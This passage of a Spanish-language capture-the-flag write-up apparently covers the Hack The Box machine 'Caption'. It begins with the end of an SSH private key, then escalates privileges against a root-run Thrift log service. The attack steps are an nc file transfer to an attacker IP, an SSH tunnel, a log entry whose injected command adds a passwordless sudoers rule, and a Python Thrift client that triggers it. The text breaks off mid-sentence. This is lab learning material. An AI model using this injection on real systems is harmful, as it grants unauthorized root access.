LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

y ya estaria lo demas norma el chmod 600 y para dentro

root

ejecutamos un linpheass

vemos lo siguiente. un escript go que levanta el puerto 9090 con un servidor thrift

como vemos es root el que lo esta ejecutando

para poder comunicarnos necesitamos tener nuestro propio servidor thrift

para ello vamos a hacer lo siguinet en la maquina victima

 git clone http://caption.htb:8080/git/root/Logservice.git

entramos y ejecutamos el siguiente comando para establecer la conexion

thrift --gen py log_service.thrift

y ahora ese archivo nos lo pasamos a nuestra mquina local de la siguiente forma

#maquina victima 
nc -q 0 10.10.14.181 4321 < log_service.thrift
#maquina atacanete 
nc -lnvp 4321 > log_service.thrift

una vez con el archivo nos hacemos que el puerto 9090 sea el de la maqina

ssh -i margo.key -L 9090:127.0.0.1:9090 margo@10.10.11.33 

ahora devemos crear en la mquina victima un log maligno:

`127.0.0.1, "user-agent":"Mozilla'; echo 'margo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers;#"`

lo dejamos en /tmp por ejemplo

ahora en nuestra maquina ejecutamos el siguiente comando

thrift -r --gen py log_service.thrift

y se nos genera un directorio gen_py

nos metemos dentro

y vamos hay vamos a crear el exploit que sera este:

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
import sys
sys.path.append('/home/zzero/caption/exploits/gen-py')
# Import the generated code
from log_service import LogService

def main():
    # Create a socket to the Thrift server
    transport = TSocket.TSocket('127.0.0.1', 9090)

    # Use a buffered transport for better performance
    transport = TTransport.TBufferedTransport(transport)

    # Use the binary protocol (consistent with Go server)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the protocol encoder
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    # Call the ReadLogFile method on the server
    file_path = "/tmp/pwn.log"
    result = client.ReadLogFile(file_path)

    # Print the result
    print(f"Server response: {result}")

    # Close the connection
    transport.close()

if __name__ == "__main__":
    main()

lo ejecutamos y